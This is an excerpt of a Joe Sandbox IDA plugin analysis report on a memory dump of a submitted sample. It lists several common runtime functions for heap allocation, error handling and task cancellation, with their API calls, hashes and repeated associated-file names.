Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d6455fd670f8d98d3cc94efd809d182981f9cb8de2440be050de0d33e431989f
Instruction ID: 4a0421971163a983797b0448e60d0307a506d8c1c9b8a0874f9f264d334f37f3
Opcode Fuzzy Hash: d6455fd670f8d98d3cc94efd809d182981f9cb8de2440be050de0d33e431989f
Instruction Fuzzy Hash: C0E086311407156BCB113FB4EC0DBA57BA8AB40355F508461FA0DCA1A0CB348D50EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00CA368F Relevance: 2.6, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(00000000,00000000,CF830579,?,00CA3576,00000000,CF830579,00DD8C68,0000000C,00CA3632,00C9790D,?), ref: 00CA36E5
GetLastError.KERNEL32(?,00CA3576,00000000,CF830579,00DD8C68,0000000C,00CA3632,00C9790D,?), ref: 00CA36EF

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: db0a6643671254c03342c8aaa03375c426b3c2933fbbd04fcee703b7ca269c46
Instruction ID: 20e506998834173046506a091c5f2905b35e8dfb90d966c7ee63cea5c45e9cb6
Opcode Fuzzy Hash: db0a6643671254c03342c8aaa03375c426b3c2933fbbd04fcee703b7ca269c46
Instruction Fuzzy Hash: 361148326042972AD6112374AD5AF7D2759AB8377CF240249FA28DB3D2DE71CE809160

Uniqueness

Uniqueness Score: -1.00%

Function 00C85390 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00C854A7

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: a42e5f811fb07c851d8a9d5f597e4e96a9635b1707289282c36b588c16d834e9
Instruction ID: d08928c98d3263ad3d6e0aea76a6c954d4285108b8e0abeece71df1827c82ebe
Opcode Fuzzy Hash: a42e5f811fb07c851d8a9d5f597e4e96a9635b1707289282c36b588c16d834e9
Instruction Fuzzy Hash: 6481E6726005059FC718EF7CC88586EB7A9EB84324724832DF826C7391EBB0EE55C794

Uniqueness

Uniqueness Score: -1.00%

Function 00C719D0 Relevance: 1.7, APIs: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00C71CA5

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6ed3d5e7eec41d2d86bac0cfe5cd9e0af8e53e707e5919f4e84420ed3cc8ed5e
Instruction ID: 7d0b92b40940f4813a96d5c9d23f7a4be4c8ede197779361a968bacfda101208
Opcode Fuzzy Hash: 6ed3d5e7eec41d2d86bac0cfe5cd9e0af8e53e707e5919f4e84420ed3cc8ed5e
Instruction Fuzzy Hash: 0AA118B0900615DFCB05CFA9C484B99FBF0BF09314F28C1AAE85DAB352D775AA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C854C0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00C855BB

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 48e7cfd51d487dde3dff31291a41ee8c902363bdd0f4e61194a6bec3fb0a5773
Instruction ID: cab4463cf3c8fe2375b08d02fc02be77fcc1170469f8a0776f0376f2faf3301c
Opcode Fuzzy Hash: 48e7cfd51d487dde3dff31291a41ee8c902363bdd0f4e61194a6bec3fb0a5773
Instruction Fuzzy Hash: 29313872B00404AFC714FE7CCD8987E7BAADB843587254269FC29CB345EA70EE0597A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C97B58 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA5924: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00CA5956

RtlReAllocateHeap.NTDLL(00000000,?,00C8BF90,00000000,0000000F,?,00C8BF90,?,?,?,?), ref: 00CA62E5

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 70d2a336e02c1d075aac4927b2c0e56779d69398a18686a588b4838fc8699d16
Instruction ID: a2e96b2f6ffbd16af417d6d222f0ec05ea9d9f894b1928857ae18da1c8f9fe3e
Opcode Fuzzy Hash: 70d2a336e02c1d075aac4927b2c0e56779d69398a18686a588b4838fc8699d16
Instruction Fuzzy Hash: 77F0A432601617AA9B213A66AC05F7B3758DBC37BCF2D0226F825EA1D1DE20DD00A5A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C636F0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00C6373F

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: bf8bdb994f8b78c6ea1e93e862c5098b48677a1b32678d5e49d9988079045177
Instruction ID: ee770342e280487d405b46dfa04baeb0cfcef9cfae487351f4833742309dec38
Opcode Fuzzy Hash: bf8bdb994f8b78c6ea1e93e862c5098b48677a1b32678d5e49d9988079045177
Instruction Fuzzy Hash: 22F024F21400408BDB24AFA0D4864E9B3E8DF243A1310047AE99EC7142E726DF84A780

Uniqueness

Uniqueness Score: -1.00%

Function 00CA4EEA Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00C8C58A,?), ref: 00CA4F2B

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 564efa130697711f7db5934bb9f2006030801627399033d94a7dce9748fc6f4d
Instruction ID: c2f38550981f3842e4683312b5942836465dd37e1669540f81b2d0f74b26a5b1
Opcode Fuzzy Hash: 564efa130697711f7db5934bb9f2006030801627399033d94a7dce9748fc6f4d
Instruction Fuzzy Hash: D8F059316152236F9F282EA2AC01A6A378D9FC33A8F149012BC25E7180CAB0ED0096E0

Uniqueness

Uniqueness Score: -1.00%

Function 00CA5924 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00CA5956

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7719b6b59376690bebf3a07172ffb3d85cf8099558e8b8b72eee4f9bc01de0dc
Instruction ID: 33a42f0df118753ca50db3fb627ca8eeb2fa9db8305ea450b4a4ea4e4886d02e
Opcode Fuzzy Hash: 7719b6b59376690bebf3a07172ffb3d85cf8099558e8b8b72eee4f9bc01de0dc
Instruction Fuzzy Hash: DBE0E531202B23DBDE212B755C04BAB76489B433B8F188111BC2AEE5D0DB20CD0292A0

Uniqueness

Uniqueness Score: -1.00%

Function 00C9CDAC Relevance: 1.3, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00C9CEE6,00000000,00000000,00000000,00000002,00000000,?,00CA40BE,00000000,00000000,00000000,00000002,00000000,00000000), ref: 00C9CDF5

Memory Dump Source

